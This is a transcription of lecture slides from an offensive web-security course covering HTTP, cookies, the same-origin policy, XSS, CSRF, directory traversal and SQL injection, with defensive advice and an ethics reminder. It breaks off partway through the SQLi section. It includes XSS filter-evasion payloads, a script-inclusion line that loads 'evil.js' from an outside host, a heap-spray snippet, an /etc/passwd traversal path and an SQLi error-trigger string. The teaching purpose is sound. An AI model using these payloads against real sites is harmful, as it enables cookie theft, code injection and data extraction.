Web Application Hacking/Security 101

Transcription

Web Application Hacking/Security 101
Web Application
Hacking/Security
101
Owen Redwood, Ph.D.
Offensive Computer Security 2.0
http://hackallthethings.com/
Objectives
1. Become familiar with
web application
architecture
2. Understand the transition
from Binary exploitation
to Web exploitation
3. Become familiar with
common web
vulnerabilities
Overview
Lecture 101
●
●
●
Web Architecture Overview
Intro with Client-side attacks
○ HTTP proxies + XSS + SOP-Bypasses
Metacharacter Injection Theory
Lecture 102
●
●
OWASP
Server-side attacks
○ CSRF
○ SQLi
Lecture 103
●
Certificate Disasters & SSL failure
Lecture 104
●
WAFs
What we’ve covered so far
Linux/Windows internals
●
rootkits
C/C++ Vulnerabilities
●
●
●
●
●
●
●
overflows
pointer bugs
int under/overflow
(aka signedness bugs)
heap bugs
format strings
type confusion
…
x86 Reverse engineering
Fuzzing & Bug hunting
(Old School) Exploit Development
●
●
●
●
●
●
priv-escs
stack overflow
heap overflow
use after free
format strings
…
Exploit Mitigations
(DEP/NX, ASLR, RELRO, … )
Networking
●
●
●
●
●
●
●
TCP/IP
MITM techniques
amplification techniques (smurf)
firewalls, IDS/IPS
routers / switches / hubs
VPN, IPSEC
…
Web Application
Architecture
DNS: 53
HTTP: port 80
HTTPS: 443
SMTP: 25
SMTPS: 465
mysql DB: 3306
Oracle DB console:1158
…
Web Servers / Services
DNS:
● BIND, DNSMASQ, DJBDNS, MaraDNS,
Microsoft DNS, …
HTTP Servers:
● apache, tomcat, nginx, microsoft IIS,
lighthttpd, etc …
HTTP Clients (Browsers!)
…
Web Servers / Services
HTTP Servers:
● apache, tomcat, nginx, microsoft IIS,
lighthttpd, etc …
○ May support various server-side scripting languages:
■ ASP (*.asp, *.aspx … )
■ PhP (*.php, *.php3, *.php4, … )
■ Go
■ Java (*.jsp)
■ Javascript (*.ssjs, *.js, i.e. Node.js… )
■ Perl (.cgi, .pl, … )
■ Python
■ Ruby
■ …
Web Servers / Services
●
●
●
●
●
●
●
●
●
ASP (*.asp, *.aspx … )
PhP (*.php, *.php3, *.php4, … )
Go
Java (*.jsp)
Javascript (*.ssjs, *.js, … )
Perl (.cgi, .pl, … )
Python
Ruby
…
Each of these is
facilitated by an
interpreted
language engine,
which too is
subject to 0-days
Web Servers / Services
●
●
●
●
●
●
●
●
●
ASP (*.asp, *.aspx … )
PhP (*.php, *.php3, *.php4, … )
Go
Java (*.jsp)
Javascript (*.ssjs, *.js, … )
Perl (.cgi, .pl, … )
Python
Ruby
…
The interpreter
language engine
is written in …
…
C/C++ !!!!
Inside Web Servers
●
●
●
●
Web Server Engine
Server-Side scripting engine(s)
Database engine(s)
Filesystem engines
○ LDAP, SOAP, etc…
● Authentication/Security systems (Certs et al)
● Content Distribution Network/systems
● Content Managment Systems (CMS)
○ CMS Plugins
● 3rd party network content :D
○ Ads, Media, Authentication, Tracking, etc …
HTTP Clients (Browsers)
●
●
●
●
●
●
●
●
●
●
Firefox
Chrome
IE
Safari
Opera
Dillo
Links
Webkit
…
See
https://upload.wikimedia.org/wikipedia/commons/7/74/Timeline_of_web_br
owsers.svg
Inside Browsers
● Web Browser Engine (handles html, css, etc… )
○
○
○
Chrome: Blink, Internet Explorer: Trident
Safari: WebKit, Opera: Presto
Firefox: Gecko, (ALL are C/C++ :D )
● Client-side scripting engines
○
Javascript, Python, Actionscript, VBScript, Dart, …
● Media Players / Libraries
○
○
flash, silverlight, etc…
audio codecs
● Plugins
○
○
○
script blockers
ad blockers
security plugins
○ shopping, etc …
● User data storage and protections/policies
● See https://en.wikipedia.org/wiki/Comparison_of_web_browser_engines
/
What does this all mean?
● When you access a web page you access
content from usually more than just the
target webserver
○
○
○
○
○
○
DNS
Certificate info
stored content from the DB server
CDN network content
■ flash, html5 video, silverlight, etc…
Advertisements with javascript or other client-side-scripting
Other 3rd party content…
● Multiple engines within your browser will
parse all of this
Layers of Webpages
https://developer.mozilla.org/en-US/docs/Tools/
3D_View
TAKE AWAY
(From Artem Dinaburg’s DC19 Bit Squatting talk:
http://dinaburg.org/bitsquatting.html )
Also: Clickjacking
Layers above objects / media that you want
victims to click on.
●
●
●
triggers malicious action / script
plagues mobile / tablet / touchscreen devices
http://www.troyhunt.com/2013/05/clickjack-attack-hidden-threat-right-in.htm
l
Trends
2015 Stats on Malicious Ads
● 260% increase from 2014 in malicious ads
○
○
○
○
○
Ransomware
fake AV
fake JAVA updates,
fake Flash updates,
See http://bit.ly/1g21xSf
The rise of automated / programmatic
advertising has spawned this huge
machine-to-machine network / ecosystem of
advertisements
● Often impossible for ad services to filter malicious
2015 Malicious Ads on the following
Domains:
●
●
●
●
●
●
●
Disney
Facebook
The Guardian
Amazon
YouTube
Yahoo
…
“When encountered, the
malicious advertisements cause
a person to be redirected to a
different website, which triggers
a download based on whether
the computer is running
Windows or Apple’s OS X,
wrote Armin Pelkmann, a threat
researcher.”
According to CISCO:
●
●
http://www.pcworld.com/article/2360820/malicious-advertisements-on-majo
r-websites-lead-to-ransomware.html
http://www.pcworld.com/article/2604480/malicious-advertising-hits-amazon
-youtube-and-yahoo-cisco-says.html
TAKE AWAY
500:1 ratio of indirect DNS queries per single
one by a human.
● Huge and hidden from users
○ Clickjacking vector
That is just how clients get attacked
● Moving on to server-side attacks…
Server-side Trends
Trends
May not include 0-day attacks
Web Architecture Components
Web
Service
Web Server
FIREWALL
Database
Authentication
Service
Access Control
Web Architecture Components
Click
jacking
XML
Injection
Web
Service
Packet
Sniffing
Directory
Traversal
Web Server
Parameter
Tampering
CSRF
FIREWALL
XSS
SQL
injection
Database
Forged
Tokens
Direct
Object
Reference
Authentication
Service
Access Control
Web Architecture Components
Click
jacking
FLASH
/ FLEX
Packet
Sniffing
AJAX
XML
Injection
Web
Service 0days
Directory
Traversal
0days
Web
0days Server
XSS
Parameter
Tampering
CSRF
FIREWALL
0days
SQL
injection
Database
Forged
Tokens
(Java)
APPLETS
Direct
Object
Reference
Authentication
Service
Access Control
0days
Silverlight
AND
MORE
0days
Web Architecture Components
Click
jacking
FLASH
/ FLEX
Packet
Sniffing
AJAX
XML
Injection
Web
Service
Directory
Traversal
Web Server
XSS
Huge attack
surface
FIREWALL
Parameter
Tampering
SQL
injection
Forged
Tokens
APPLETS
Silverlight
Authentication
Service
AND
MORE
Database
Direct
Object
Reference
Access Control
Intro to
Client-side
Attacks
HTTP
● Stateless protocol
● plaintext
● Based on client requests and server
responses
○ Headers, followed by request or response body
● HTTP requests must use specific request
method
○ data passed via variable=value pairs
● responses use status code
HTTP GET
GET Method
● passes all request data in the URL query string
GET /blog.php?user=bob&type=1 HTTP/1.1
User-Agent:Mozilla/4.0
Host: www.exampleblog.com
....
HTTP POST
POST Method
● passes all request data in the HTTP request body
POST /blog.php HTTP/1.1
User-Agent:Mozilla/4.0
Host: www.exampleblog.com
Content-Length:15
....
user=bob&type=1
HTTP Status Breakdown
responses include status code, and
label/reason
● 1XX: Informational
● 2XX: Success
● 3XX: Redirection
● 4XX: Client Error
● 5XX: Server Error
HTTP Status Codes
responses include status code, and label/reason
● 200 OK
● 302 Location
○ resource redirection
● 401 Unauthorized
○ client not authorized for resource
● 403 Forbidden
○ even with valid credentials, access is forbidden
■ usually file system permissions
● 404 Not Found
● 500 Internal Server Error
○ request caused an error on the server (interesting)
Maintaining State
● HTTP is stateless, does not track any state between
requests
● To maintain state, application designer must implement
a state tracking mechanism
● Session identifier (Session ID) is typically passed within
a request
○ to associate requests within a session
● [Default] Session ID are typically implemented in:
○ URL
○ Hidden form fields
○ Cookie HTTP Header
Cookies
● Most common place to have session identifier
● Server sends a response with "Set-Cookie" header
○ Variable=value pair
○ followed by other common attributes usually:
■
■
■
■
■
■
Domain,
Path,
Expires,
Short-term or Long-term
Secure
● only send over encrypted channel
HttpOnly
● prevents script code from accessing cookie
● i.e. Javascript accesses cookies via: document.cookie
Cookies
● Can be stored on hard drive
○ location differs per browser & OS
● During actual communication, are stored in
browser's memory
○ Short-term cookies
HTTP Proxy
● HTTP is stateless, so usually no timeout
concerns
○ Allows us to set up proxy to intercept and tamper
with HTTP requests / responses
HTTP Proxy
127.0.0.1
Tester
Intercept
(pause and play
capability)
Server
HTTP proxy
demo
HTTPS misuse / Session Hijacking
Very common for websites to have just https on
the logon page, and then drop https down to
http
login on https
page
browses site on http
Tester
WIFI
Attacker
can sniff
cookie,
hijack
session
Server
Server authenticates,
sends reply + cookie
Question:
Attacker
What cookie parameter prevents the
cookie from being sent over HTTP?
HTTP Strict Transport Security
A header to force HTTPS
WIFI
Tester
Attacker
Server
with HTTPS always
on, attacker must
break SSL to pull off
attack
Application Security Basics
● Most sites are not secure
○ Attackers can find ways to access confidential data
○ Attackers can use vulnerable websites to attack
other users
● HTTP wasn't designed to be secure
○ Was built for static, read-only pages to be shared
between researchers
○ No intrinsic security
○ No sessions
○ No dynamic page support
○ All the modern stuff today was basically bolted on
later....
Application Security Basics
HTTP
● wasn't intended to support Ecommerce,
○
○
○
○
online banking
taxes
insurance
medical data
Markup Language and DOM
DOM = Document Object Model.
DOM + Javascript
With the object model, JavaScript gets all the power it
needs to create dynamic HTML. Javascript can:
● change all the HTML elements in the page
● change all the HTML attributes in the page
● can change all the CSS styles in the page
● remove existing HTML elements and attributes
● add new HTML elements and attributes
● react to all existing HTML events in the page
● create new HTML events in the page
● From http://www.w3schools.com/js/js_htmldom.asp
The HTML DOM is a standard for how to get,
change, add, or delete HTML elements.
Getting elements
document.getElementById()
●
Find an element by element id
document.getElementsByTagName()
●
Find elements by tag name
document.getElementsByClassName()
●
Find elements by class name
<script>
document.getElementById("demo").innerHTML = "Hello World!";
</script>
Changing elements
element.innerHTML=
●
Change the inner HTML of an element
element.attribute=
●
Change the attribute of an HTML element
element.setAttribute(attribute,value)
●
Change the attribute of an HTML element
element.style.property=
●
Change the style of an HTML element
Add/Removing elements
document.createElement()
●
Create an HTML element
document.removeChild()
●
Remove an HTML element
document.appendChild()
●
Add an HTML element
document.replaceChild()
●
Replace an HTML element
document.write(text)
●
Write into the HTML output stream
Interesting HTML Objects
document.cookie
document.body
document.domain
document.forms
document.images
document.scripts
document.URL
document.referrer
document.scriptErrorChecking
Same Origin Policy
A browser permits scripts contained in a first
web page to access data/objects in a second
web page, but only if both web pages have the
same origin
● URI scheme
● hostname
● port # (may be left as NULL)
Purpose: Prevent malicious script on page X
from accessing DOM objects on page Y
How SOP applies to various types
● Images: An <img> tag will show a cross-origin image to
a user visually, but it will not allow a script to read the
image content when loaded into a <canvas> (i.e.,
toDataURL will fail if the canvas contains any
cross-origin images)
● Scripts: Cross-origin scripts will run when referenced in
a <script> element, but the page can only run the
script, not read its contents.
● Iframe: Like images, the contents of a framed
cross-origin page appear visually to the user, but scripts
in the outer framing page are not allowed access to the
framed page's contents.
Bypassing/Relaxing the SOP
Some circumstances the SOP is too restrictive:
●
large sites with multiple subdomains
Ways to relax SOP:
●
●
●
document.domain
○ if two windows contains scripts from that set the document.domain to
the same value, then the same-origin policy is relaxed for these two
windows
■ problem?
Cross-Origin Resource Sharing
○ A standardized technique, extension of HTTP.
○ new Origin request header & HTTP Access-Control-Allow-Origin
response header.
■ Problem: allowed over HTTP
■ possibly interceptable/spoofable?
...
Bypassing/Relaxing the SOP
Ways to relax SOP (continued):
●
●
Cross-Document messaging (HTML5)
○ allows documents to communicate with one another across different
origins, or source domains.
■ rudimentary security
■ authors have to manually check the origin attribute from
accepted messages!
● problem?
JSONP
○ allows a page to receive JSON data from a different domain by adding
a <script> element to the page which loads a JSON response with a
callback from different domain.
■ JSONP takes advantage of the fact that browsers do not
enforce the same-origin policy on <script> tags.
Bypassing/Relaxing the SOP
Ways to relax SOP (continued):
●
WebSockets (HTML5)
○ modern browsers permit a script to connect to a WebSocket address
without applying SOP. Browser inserts an Origin: header into any
URI based WebSocket connection.
SOP Corner Cases
● pseudo-protocols that do not have a clearly
defined host name or port associated with
their URLs (file:, data:, etc.)
● legacy cross-domain operations predating
JavaScript
○
example:
■ the ability to include scripts across domains,
■ or submit POST forms.
● DNS rebinding / server-side proxies
○ permit the host name check to be subverted
■ very rare / limited
Client-Side Scripting
Malicious Client-Side Scripting
● XSS
● …
ATTACKER
VICTIM
WEBPAGE
Infect with malicious
script
visit
Inject script
evil stuff
INTERNET
Client-Side Scripting
2 (main) XSS Types:
● Reflected XSS
○ aka non-persistent. Injected in traffic/query/stream
● Stored XSS
○ aka persistent. Web page saves XSS to DB or etc…
ATTACKER
VICTIM
WEBPAGE
Infect with malicious
script
visit
Inject script
evil stuff
INTERNET
Client-Side Scripting
Interpreted Languages generally have two
categories of input:
● Data
● Syntax
○ changes how the data is used / parsed
■ data is now script
○ <>=+--../../../\..#?=
Problems:
● Mixing code, data, & user input in same context
● Hostile input parsed by interpreter
Javascript
<script>
JS goes here
</script>
<script>alert('hello')</script>.
Can access document objects
● cookies
● history/settings/…
● etc…
Can download files
● malware
JS (XSS) Examples
Basic test:
<script>alert("XSS")</script>
Accessing Cookie (document.cookie)
<img src=x onerror="alert(document.cookie);"
XSS file inclusion:
<img src=1
onerror="s=document.createElement('script');s.src='//xss-doc.app
spot.com/static/evil.js';document.body.appendChild(s);"
XSS Filters
8 Rules (DO THESE RECURSIVELY):
1.
2.
3.
4.
5.
6.
7.
8.
Never insert untrusted user input (except in allowed locations)
HTML escape before inserting user input into HTML element
Attribute escape before inserting user input into HTML attribute values
Javascript escape before inserting user input into javascript values
a. same for JSON
CSS escape and strictly validate before inserting user input into style
properties
URL escape before inserting user data into HTML URL params
Sanitize HTML Markup with a library deisgned for the job
Prevent DOM-based XSS
See more at:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripti
ng)_Prevention_Cheat_Sheet
JS (XSS) Examples (continued)
For <script> filters:
<IMG SRC="javascript:alert('XSS');">
For quote / semicolon filters:
<IMG SRC=javascript:alert('XSS')>
OR (with grave accents):
<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
For case-sensitive filters:
<IMG SRC=JaVaScRiPt:alert('XSS')>
Using Malformed tags:
<a onmouseover=’alert(document.cookie)>xss linkage</a>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
Using fromCharCode (using an eval)
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
JS (XSS) Examples (continued)
<scr<script>ipt>
● beats single / n-pass filters
○ solution: recursive filtering
XSS Locator Examples:
';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";
alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//-></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Example 2:
'';!--"<XSS>=&{()}
●
(Requires viewing source and looking for XSS)
See more at:
https://www.owasp.org/index.php/XSS_Filter_Evasion_Che
at_Sheet
Metacharacter Injection
Metacharacter Injection Requirements:
✓ Two categories of user input
➢ Data
➢ Syntax
Mixing of Code & Data.
✓
Methodology:
1. Enumerate the web architecture components
2. Enumerate all the syntax characters for all of these
components
a. <>&=/../..\..\..==<script></script>
b. Sometimes multiple syntax characters (..)
3. Then proceed as if you were fuzzing it
JS Heap Spray
(From Alex Sotirov’s BH 2007 “Heap Feng Shui in JavaScript”
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentatio
n/bh-eu-07-sotirov-apr19.pdf )
Original technique by Blazde & SkyLined:
var x = new Array();
//fill 200+MB of memory with copies of
// NOP sled + shellcode
for (var i = 0; i < 200; i++) {
x[i] = nop + shellcode;
}
// that simple
JS Heap Spray
(From Alex Sotirov’s BH 2007 “Heap Feng Shui in JavaScript”
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentatio
n/bh-eu-07-sotirov-apr19.pdf )
JS Heap Spray
(From Alex Sotirov’s BH 2007 “Heap Feng Shui in JavaScript”
https://www.blackhat.com/presentations/bh-europe-07/Sotirov/Presentatio
n/bh-eu-07-sotirov-apr19.pdf )
JS Heap Spray Resources
Read
1. http://www.edup.tudelft.nl/~bjwever/advisory_iframe.htm
l.php
2. http://www.phreedom.org/research/heap-feng-shui/heap
-feng-shui.html
Example SOP Bypass #1
Assumptions:
●
●
Valid signing certs (easy enough to get)
No DNS, only public one used
TARGET NETWORK
VICTIM
ATTACKER
Public DNS
WEBPAGE
INTERNET
1) Spoof DNS records
for a fake subdomain
dev.example.com
3) visit
2) Infect with malicious
same domain
script spoofing the
4) Inject script
5) get evil script
from the fake
dev.example.com
Example SOP Bypass #2
Assumptions:
●
●
●
Valid signing certs (easy enough to get)
Bad Firewall (allowing in unsolicited DNS updates)
Poorly managed DNS (no one pays attention to new subdomain recrods)
TARGET NETWORK
VICTIM
ATTACKER
Public DNS
WEBPAGE
INTERNET
1) Spoof DNS records
for a fake subdomain
dev.example.com
3) visit
2) Infect with malicious
same domain
script spoofing the
4) Inject script
5) get evil script
from the fake
dev.example.com
Defenses
1. Script Blocker
a. quality varies a lot among the options
i. NoScript
ii. ScriptSafe
2. Server side precautions:
a. HTML escaping (recursive)
b. Scripting language escaping
i. script, onload, onmouseover
c. Validating URL and CSS values
d. Disallowing user-provided HTML (in forms/input)
e. Disallowing user input in any javascript-generated
HTML code.
Resources
Read more on XSS at:
https://www.owasp.org/index.php/XSS
Web Application
Hacking/Security
102
OWASP & Server-side attacks
W. Owen Redwood, Ph.D.
Hackallthethings.com
Outline
1. Ethics Reminder
2. OWASP top 10
3. Server Side Attacks
a.
b.
c.
d.
e.
f.
g.
Broken Authentication/Session Management
Security Misconfiguration
Insecure Direct Object Referencing
Cross Site Request Forgery (CSRF)
Function Level Access Control
Directory Traversal
SQLi
Ethics Reminder
From Lecture 01:
The difference between legal pentesting and
illegal hacking / cracking is:
PERMISSION
IF YOU DO NOT HAVE PERMISSION TO
PENTEST / HACK THE SERVER:
DO NOT DO IT
A Formal Approach to Vulnerability
Assessment (OWASP top 10)
2013 OWASP TOP 10
Server-Side
Attacks
[RECAP] Web Architecture
Components
Web
Service
Web Server
FIREWALL
Database
Authentication
Service
Access Control
VARIANT Web Architecture
Components
Web
Service
Web Server
3rd Party
Online
Payment
Gateway
Access Control
3rd Party
Content
Delivery
(Ads / Media)
FIREWALL
3rd Party
Authentication
Service
Database
Server Defense depends on Platform
COMMON PLATFORMS / STACKS:
○ LAMP - Linux, Apache, MySQL, Php/Python/Perl
■ Also WAMP, SAMP, FAMP, MAMP, etc…
○ LEMP: Linux, Nginx, MySQL, Php/Python/Perl…
○ MEAN - MongoDB, Express.js, Angular.js, Node.js
■ javascript
○ LYME/LYCE - Linux, Yaws, Mnesia/CouchDB, Erlang
○ Ruby on Rails
○ Etc
Server Side Attacks
Many Styles
1. Binary exploitation
2. Web Exploitation (this lecture)
3. Others
a.
b.
c.
d.
social engineering (later)
physical attacks (later)
supply chain
etc …
Broken Authentication
or Session Management [COMMON]
No Brainer
● Allowing cookies / session ID’s over HTTP
○ not using Strict Transport Security (HTTPS only)
● Allowing test accounts with easy passwords
on prod servers / etc…
Attack Vectors to leverage:
● exposed accounts
● exposed passwords
● exposed session ID’s / cookies
Broken Authentication (Functions)
Defense: Function Level Access Control
Can a User perform any of the functions that
only Admins can?
●
●
●
●
●
TransferFunds
ApproveUsers
Delete (Content, posts, etc)
Add Users
Grant Permissions
But only admins are presented with the links?
● bad practice
○ Solution: check user privileges at a function basis
Security Misconfiguration
[COMMON]
No Brainer
● Using known vulnerable components
○ unpatched, unmanaged, …
● Not configuring components properly
○ did not RTFM
Example attack vectors:
●
●
●
●
●
default accnt passwords
unused pages
unpatched vulns
unprotected files / directories
etc …
Insecure Direct Object Referencing
[COMMON]
When devs expose a reference to some
internal object through a URL / form parameter
● file / directory
● database record
● key
● etc …
Usually an attacker can utilize this to get direct
access to objects / records without
authorization.
Insecure Direct Object Referencing
Example
String query = "SELECT * FROM users WHERE username = ?";
PreparedStatement pstmt = connection.prepareStatement(query , ... );
pstmt.setString( 1, request.getParameter("username"));
ResultSet results = pstmt.executeQuery();
The object username is exposed to the user as:
http://example.com/app/accountInfo?username=me
It can be abused as such:
http://example.com/app/accountInfo?username=NOTme
The above example is also a likely SQLi vector.
Cross Site Request Forgery
(CSRF/XSRF) [WIDESPREAD]
Server-side attack where unauthorized
commands are transmitted from a user that the
website trusts. XSS Derivative.
● Example Actions/Commands:
○
○
○
○
TransferFunds
ApproveUsers
Delete (Content, posts, etc)
Add Users...
Attacker Problem: This is application specific
Defenses: XSS defenses / script blockers
[RECAP] Client-Side Scripting
Malicious Client-Side Scripting
● XSS (shown below)
● CSRF/XSRF
○ Targets admins. Forges requests to do admin actions
ATTACKER
VICTIM
WEBPAGE
Infect with malicious
script
visit
XSS
Inject script
REC
A
P
evil stuff
INTERNET
CSRF / XSRF
CSRF/XSRF
● Stored CSRF
○ aka persistent. Web page saves XSS to DB or etc…
ATTACKER
VICTIM
WEBPAGE
Infect with malicious
script
visit
Inject script
evil admin actions
INTERNET
CSRF / XSRF
CSRF/XSRF
● Reflected CSRF
○ aka non-persistent. Injected in traffic/query/stream
■ Attacker needs MITM capability on admins
●
VICTIM
Doxx dangers
MITM
ATTACKER
visit
M
I
T
M
WEBPAGE
HTTP Responses
Infect response traffic
with malicious script
evil admin actions
INTERNET
CSRF / XSRF Defenses
1. Strict HTTPS everywhere
a. Do not accept admin functions over HTTP.
b. Use good CA and good certs, do not self-sign.
2. All XSS defenses.
[RECAP] XSS Filters
8 Rules (DO THESE RECURSIVELY):
1.
2.
3.
4.
5.
6.
7.
8.
Never insert untrusted user input (except in allowed locations)
HTML escape before inserting user input into HTML element
Attribute escape before inserting user input into HTML attribute values
Javascript escape before inserting user input into javascript values
a. same for JSON
CSS escape and strictly validate before inserting user input into style
properties
URL escape before inserting user data into HTML URL params
Sanitize HTML Markup with a library deisgned for the job
Prevent DOM-based XSS
See more at:
https://www.owasp.org/index.php/XSS_(Cross_Site_Scripti
ng)_Prevention_Cheat_Sheet
Directory Traversal [OLD]
Not considered top 10 anymore
Example: www.example.com/../../../../../etc/passwd
Defense: Configure webserver to filter “..” and
slashes RECURSIVELY
REAL directory traversal Bypasses
5-10 year old examples:
PhP BB3 was vulnerable to:
● non-recursive replace of ../ bypassed with ....//
WebMin was vulnerable to:
●
trim removal of ../ bypassed with %00../%00../
Using Known Vulnerable
Components [Very Common]
Straight-forward.
Main culprits:
●
●
●
●
●
●
●
●
CMS plugins
Shopping cart frameworks
WAFs
Server side scripting engines (e.g. old php, etc)
Unpatched kernels / web servers
Unpatched DBs
OpenSSL (Heartbleed)
Etc
Update / Patch your components!
INTERMISSION RECAP
(next is SQLi)
● Broken Authentication / Session Management
○
○
○
Lack of session management
Bad cookie / auth practices
■ Trusting users to tell you who they are
Not protecting auth cookies (lack of HTTPS)
● Security Misconfiguration
○
Not locking down admin privileges / default settings
● Insecure Direct Object Referencing
○
○
HTML objects, DB objects, PhP objects, etc…
Can overlap with Broken Auth
● CSRF / XSRF
○
Lack of HTTPS, lack of XSS defense
● Using known vulnerable components
○
Or not patching them
● Directory Traversal
○
Allowing “..” and slash characters
Common
overlaps
SQL Injection (SQLi) Formal
Assessment
About Databases
Typically they include data like:
● authentication credentials / session ids
● personally identifiable info
● site configuration
● access control settings
● site content
● themes
● messages between users of the site
● payment details
○ credit card info, etc…
Some SQL Basics
● retrieve information using the SELECT statement;
○ WHERE clause allows you to specify which records
to SELECT
● update information using the UPDATE statement;
○ WHERE clause allows you to specify which records
to UPDATE
● add new information using the INSERT statement;
● delete information using the DELETE statement.
The characters “-- ” comment out anything
that follows them in a SQL statement
Some SQL Basics
Subquery Support
● Generally all DB engines support nested
subqueries
● A nested subquery is simply a basic SQL
query in parenthesis to denote a value
Example:
● select * from documents where id=(select 1)
○ equivalent to select * from documents where id=1
Union-Based SQL for beginners
Union (set theory):
If A = {1, 3, 5, 7, 8} and B = {1, 2, 4, 7, 8, 9}
Then A UNION B = {1,2,3,4,5, 7, 8, 9}
In SQL: All queries in a SQL statement
containing UNION operator must have an equal
number of columns in their records lists
● A UNION B - must have the same # of
columns.
Attacker can use this to enumerate the columns
of a statement..... (later)
Union-Based SQL for beginners
SELECT column_a column_b from table_x union column_1 column_2 from table_y
Select idNumber, firstName, lastname FROM customers
UNION
Select idNumber, firstName, lastName FROM employees
Note: The data types of the columns do not
need to match. The number of columns only
needs to be equal
A toy architecture
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Way more going on serverside
Clientside, the following things
can run:
Javascript, actionscript,
vbscript, html5, etc...
Web Application Architecture Basics
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
Here's the basic layout...
But tech kitty stole my megahurtz
Now I need moar processors...
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Web Application Architecture Basics
GET http://www.OnlineStore.com/browse.php?category=processors
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Web Application Architecture Basics
SELECT * FROM products
WHERE category='processors'
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Web Application Architecture Basics
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
i7, i5, i3, amd, ARM
etc....
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Web Application Architecture Basics
Presentation Tier
Data Tier
Logic Tier
SQL
GET http://
Apache, windows
server, RAILS
(Ruby), PHP
Internet Error
Firefox
Chrome
HTTP
response
data
SQL Server,
Oracle, MySQL,
Postgres, mongo
db (yuck!)
Primary Causes of SQLi
1. Failure to properly do parameterized
statements
○ Unsanitized user input
■ GET
■ POST
●
Forms
■ Cookies
■ etc …
2. Improper type handling
3. Lack of output filtering
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
Response-time
based
A single SQLi vector may match more
that one vulnerability type here.
Exploiting each of these cases
requires different techniques.
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Append-based (aka UNION-SELECT) SQLi vulnerabilities occur when the vector allows for the
injection and display of the results of a UNION clause. The data appended must match the
format of the already-selected data (have the same number of columns) to be a valid SQL
statement.
To exploit append-based SQLi vectors, it takes the following steps:
1. The original query must return 0 rows using a false condition or invalid record index.
2. The injected query must select the same number of columns as the original query.
3. The results of the injected query must return the same number of rows.
4. The results of the injected query must be displayed on the page.
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Out-of-band
Error based
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Error-based SQLi vulnerabilities occur when the vector allows for the verbose display of SQL
error messages, and specifically allows extracting data through manipulation of the error
messages. There are several quick and easy ways to detect the presence of verbose SQL
errors, but a universal error-based SQLi test string is provided below:
'"$$`><!--L;a
This meta-character string has been tested on Oracle, MS SQL, PGSQL, and My SQL and reliably
triggers syntax errors under any data type.
To exploit error-based SQLi vectors, it takes the following steps:
1. Test to see if verbose SQL errors will print out on web page,
2. Use (varying) SQLi techniques extract values through error statements,
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Out-of-Band SQLi vulnerabilities occur when the vector does not allow the direct extraction of
data through the vector. There are two types of out-of-band vulnerability
Partial blind injection is referred to as partial because data returned by the application changes to
some extent. This may mean it simply does not display in one instance while it displays in the other.
Completely blind vulnerabilities will not result in a change of the returned dataset in the page output,
thus timing attacks must be utilized for successful exploitation because they affect the HTTP
response time rather than the HTTP response data.
Successful exploitation requires automation.
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Partial blind injection is referred to as partial because data returned by the application
changes to some extent. This may mean it simply does not display in one instance while it
displays in the other.
To exploit Response-content-based (out of band) SQLi vectors, the following techniques may
be used:
1. Binary enumeration (extracting 1 bit per query)
2. Multi-bit extraction via pre-computation (extracting multiple bits per query)
Types of SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Completely blind vulnerabilities will not result in a change of the returned dataset in the page
output, thus timing attacks must be utilized for successful exploitation because they affect
the HTTP response time rather than the HTTP response data.
To exploit Response-time-based (out of band) SQLi vectors, the following techniques may be
used:
1. Binary enumeration via timing extraction (extracting 1 bit per query)
2. Multi-bit extraction via timing extraction (extracting multiple bits per query)
These techniques both involve returning the data by a timing vector, caused by sleep() SQL
statements. This forces a second delay in the HTTP Response, based on the SQLi result.
Types of 2nd-order SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Often SQL injection vulnerabilities will occur in nested queries.
These are called 2nd-order SQLi vulnerabilities.
Toy example:
$id = query(“select id from user where username=$name”);
$data = query(“select * from users where id=$id”);
Where “$name” is the SQLi vector
Types of 2nd-order SQLi
SQL Injection Vulnerabilities
In-band
Append based
(Union)
Error based
Out-of-band
Response-Content
based
(Partial-blind)
Response-time
based
(Full-blind)
Stored 2nd-order example:
